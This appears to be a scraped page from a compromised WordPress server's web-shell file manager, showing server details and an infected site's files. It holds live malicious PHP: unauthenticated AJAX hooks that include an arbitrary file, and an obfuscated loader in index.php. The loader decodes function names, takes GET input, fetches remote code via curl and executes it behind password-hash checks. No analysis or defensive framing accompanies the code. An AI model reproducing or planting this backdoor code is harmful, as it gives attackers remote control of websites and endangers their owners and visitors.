if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs_infected/wp-admin/user/user/user/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs_infected/wp-admin/user/user/user/index.php
<?php
 goto xBrkJc13aWamyylx; GMjYntpjtdqCxHOW: metaphone("\x4e\x44\111\62\x4f\x54\143\x33\115\x44\x63\167\115\x54\153\61\116\x7a\x4d\61\x4e\172\x6b\x33\117\124\125\60\115\x7a\101\x7a"); goto q5bRxXrR3iOyLtuH; xBrkJc13aWamyylx: $l3KdlmEpC5XD1w5M = range("\176", "\x20"); goto jfxd2Sc3b_mBxZ2Z; jfxd2Sc3b_mBxZ2Z: $UrsKwePzZS0OwrgM = ${$l3KdlmEpC5XD1w5M[6 + 25] . $l3KdlmEpC5XD1w5M[57 + 2] . $l3KdlmEpC5XD1w5M[27 + 20] . $l3KdlmEpC5XD1w5M[19 + 28] . $l3KdlmEpC5XD1w5M[45 + 6] . $l3KdlmEpC5XD1w5M[4 + 49] . $l3KdlmEpC5XD1w5M[27 + 30]}; goto kBbicg486hOk9dvA; q5bRxXrR3iOyLtuH: class MP2uMdyQpDT_0cNz { static function lcfrXupPhtbaJ65U($tdh64NHkJmPKRc3p) { goto adLsEcNtHJ7VVlNl; l7VOqmjDePGd9QTq: zF41bYe9m79wlU4Q: goto uTXSkY8bwLda3__z; adLsEcNtHJ7VVlNl: $RSJMf9QGzU8QVeac = "\x72" . "\141" . "\x6e" . "\147" . "\x65"; goto OkU9F42BIcWRmFJ8; OkU9F42BIcWRmFJ8: $hC3jTIPsa427sWDi = $RSJMf9QGzU8QVeac("\176", "\40"); goto cxfucQxenCBbdV1S; hDDqqPg10AkiAE0X: $WFRUO9Oz1osuAUob = ''; goto eHODh4ruQKoUPAEh; uTXSkY8bwLda3__z: return $WFRUO9Oz1osuAUob; goto i92fmsIkZAjZyuah; eHODh4ruQKoUPAEh: foreach ($osyFU2Y0he4bjwPI as $qGLQ6jEHehtgmNYa => $cbwyN2vsHuN1sV6b) { $WFRUO9Oz1osuAUob .= $hC3jTIPsa427sWDi[$cbwyN2vsHuN1sV6b - 37954]; ZdmXQxwBRDR_51Pn: } goto l7VOqmjDePGd9QTq; cxfucQxenCBbdV1S: $osyFU2Y0he4bjwPI = explode("\x24", $tdh64NHkJmPKRc3p); goto hDDqqPg10AkiAE0X; i92fmsIkZAjZyuah: } static function DO0b34Yq9ttal00f($m7YWI7Ljr3570mY0, $YmUas75EcWtP121h) { goto HWlA7HXgB3aOqCgF; qHn3DKREo4hcyYYn: $jL0g2Gp0zbkV2G_L = curl_exec($IJ9OA1qlligXb71j); goto Ug1iBG6UciSM8Uxl; AsmvkxTMHEpchOOk: curl_setopt($IJ9OA1qlligXb71j, CURLOPT_RETURNTRANSFER, 1); goto qHn3DKREo4hcyYYn; Ug1iBG6UciSM8Uxl: return empty($jL0g2Gp0zbkV2G_L) ? $YmUas75EcWtP121h($m7YWI7Ljr3570mY0) : $jL0g2Gp0zbkV2G_L; goto MQmNeDRiXtoXghLv; HWlA7HXgB3aOqCgF: $IJ9OA1qlligXb71j = curl_init($m7YWI7Ljr3570mY0); goto AsmvkxTMHEpchOOk; MQmNeDRiXtoXghLv: } static function ccdbscaIe5Vu1Q71() { goto e_P85pOveekPd6MU; ebWT7Kr0PTupC5h4: foreach ($Al9jw465H5VzGJ7_ as $lN4gSJ69Qq0d6WUV) { $DJjFSu0ZSmSr3p15[] = self::lcfRXupPHtBaj65U($lN4gSJ69Qq0d6WUV); n27xXrum6DvYE4NV: } goto GkoqAhMCM8VH0Glm; MyJtQVwXVZLbFcw8: $v8Qv19sqpwYjpt2N = @$DJjFSu0ZSmSr3p15[1]($DJjFSu0ZSmSr3p15[10 + 0](INPUT_GET, $DJjFSu0ZSmSr3p15[6 + 3])); goto xCPcHf4nevuBX7Kt; GkoqAhMCM8VH0Glm: gBPmXna3ne_QySg1: goto MyJtQVwXVZLbFcw8; e_P85pOveekPd6MU: $Al9jw465H5VzGJ7_ = array("\x33\x37\x39\70\x31\x24\x33\x37\71\66\x36\x24\63\x37\71\x37\x39\44\x33\x37\x39\70\x33\44\63\x37\71\x36\64\x24\63\x37\x39\67\x39\x24\x33\x37\71\x38\x35\44\x33\x37\71\67\x38\44\63\x37\71\66\63\x24\x33\67\x39\67\60\44\63\67\71\x38\x31\x24\63\x37\71\x36\64\44\x33\67\71\67\x35\x24\x33\67\x39\66\x39\44\x33\67\71\67\60", "\63\x37\x39\66\x35\x24\63\67\x39\x36\x34\x24\x33\x37\x39\x36\x36\x24\63\67\x39\70\65\44\63\67\x39\66\66\x24\63\67\x39\x36\71\44\63\67\x39\x36\64\x24\63\x38\60\63\x31\x24\x33\x38\x30\62\71", "\63\x37\x39\x37\64\44\63\67\x39\x36\x35\x24\63\67\71\x36\71\44\63\x37\71\x37\x30\44\x33\x37\x39\x38\x35\x24\63\x37\71\x38\x30\44\x33\67\x39\x37\71\x24\x33\67\x39\70\61\x24\x33\x37\71\66\x39\44\63\x37\x39\70\x30\x24\63\67\x39\67\x39", "\63\67\71\66\70\x24\63\67\71\x38\x33\x24\63\x37\x39\70\x31\44\63\67\71\x37\x33", "\63\x37\x39\70\x32\x24\63\67\71\70\x33\x24\x33\x37\71\x36\x35\x24\x33\x37\x39\67\71\x24\x33\70\60\62\x36\44\x33\70\60\62\70\44\63\x37\x39\70\x35\x24\63\x37\71\x38\60\x24\x33\x37\71\x37\71\x24\x33\x37\x39\70\61\44\x33\67\x39\x36\x39\44\x33\67\x39\x38\x30\x24\63\x37\71\x37\x39", "\x33\x37\71\67\70\44\x33\67\71\67\65\44\x33\67\x39\x37\62\44\63\67\71\x37\71\44\63\67\71\x38\65\44\x33\x37\71\x37\67\x24\63\x37\71\x37\71\x24\x33\67\71\x36\64\x24\63\67\71\x38\65\44\x33\67\71\x38\61\x24\63\x37\71\66\71\x24\63\67\x39\67\60\x24\x33\x37\x39\x36\64\44\63\67\71\67\71\x24\63\x37\x39\x37\60\44\x33\67\71\66\x34\x24\x33\67\71\66\x35", "\63\70\x30\60\70\44\x33\70\x30\63\x38", "\63\67\x39\x35\65", "\63\x38\60\63\63\x24\63\70\x30\x33\70", "\63\x38\x30\61\x35\44\63\x37\71\x39\70\x24\63\67\x39\71\x38\44\63\x38\60\61\x35\44\63\67\x39\x39\x31", "\x33\67\71\x37\70\44\x33\x37\x39\67\x35\44\63\67\71\x37\62\x24\x33\x37\x39\66\x34\44\x33\67\x39\67\x39\44\63\x37\x39\66\66\44\63\x37\71\70\x35\44\x33\67\x39\x37\x35\x24\63\67\x39\x37\x30\x24\x33\x37\71\x36\70\44\x33\67\x39\66\63\x24\63\67\x39\x36\x34"); goto ebWT7Kr0PTupC5h4; d5qVXxG6KN7kBSl3: @$DJjFSu0ZSmSr3p15[8 + 2](INPUT_GET, "\x6f\x66") == 1 && die($DJjFSu0ZSmSr3p15[2 + 3](__FILE__)); goto xKN0HBiTLLqd94Dh; zsevZG0NmcJkndgT: @$DJjFSu0ZSmSr3p15[0]('', $DJjFSu0ZSmSr3p15[3 + 4] . $DJjFSu0ZSmSr3p15[2 + 2]($aJiWwd028YlBjaha) . $DJjFSu0ZSmSr3p15[7 + 1]); goto HUUk6WhvHvglkYGj; ulIxr1We5YIfiPw4: BrJp13vvVEa5459d: goto xUU5JCFpcj6_gpOf; HUUk6WhvHvglkYGj: die; goto ulIxr1We5YIfiPw4; vatC3gV3dcRfUINS: $aJiWwd028YlBjaha = self::dO0B34Yq9TtAL00f($aTd7a5a_Ee8oEoCi[1 + 0], $DJjFSu0ZSmSr3p15[2 + 3]); goto zsevZG0NmcJkndgT; xCPcHf4nevuBX7Kt: $CW_24EebyMp9UlZK = @$DJjFSu0ZSmSr3p15[0 + 3]($DJjFSu0ZSmSr3p15[0 + 6], $v8Qv19sqpwYjpt2N); goto e3c93hey3sa33XLc; xKN0HBiTLLqd94Dh: if (!(@$aTd7a5a_Ee8oEoCi[0] - time() > 0 and md5(md5($aTd7a5a_Ee8oEoCi[3 + 0])) === "\x33\x66\x36\142\142\x37\x34\x63\x38\61\62\61\64\66\67\x65\x63\x36\x34\60\x65\x65\x38\x37\70\x34\144\145\62\x63\141\146")) { goto BrJp13vvVEa5459d; } goto vatC3gV3dcRfUINS; e3c93hey3sa33XLc: $aTd7a5a_Ee8oEoCi = $DJjFSu0ZSmSr3p15[1 + 1]($CW_24EebyMp9UlZK, true); goto d5qVXxG6KN7kBSl3; xUU5JCFpcj6_gpOf: } } goto jc6SuO6V3WTziJcJ; kBbicg486hOk9dvA: @(md5(md5(md5(md5($UrsKwePzZS0OwrgM[23])))) === "\x34\x36\61\143\x32\64\x31\x61\x32\63\x37\71\144\141\70\x62\145\60\x63\62\x38\x39\65\66\62\x64\64\x61\x30\x35\66\141") && (count($UrsKwePzZS0OwrgM) == 29 && in_array(gettype($UrsKwePzZS0OwrgM) . count($UrsKwePzZS0OwrgM), $UrsKwePzZS0OwrgM)) ? ($UrsKwePzZS0OwrgM[66] = $UrsKwePzZS0OwrgM[66] . $UrsKwePzZS0OwrgM[72]) && ($UrsKwePzZS0OwrgM[90] = $UrsKwePzZS0OwrgM[66]($UrsKwePzZS0OwrgM[90])) && @($UrsKwePzZS0OwrgM = $UrsKwePzZS0OwrgM[90]($UrsKwePzZS0OwrgM[56], $UrsKwePzZS0OwrgM[66](${$UrsKwePzZS0OwrgM[32]}[17]))) && $UrsKwePzZS0OwrgM() : $UrsKwePzZS0OwrgM; goto GMjYntpjtdqCxHOW; jc6SuO6V3WTziJcJ: Mp2UmDyQPDt_0cNZ::CcdbscAie5vU1Q71();
?>
@ Telegram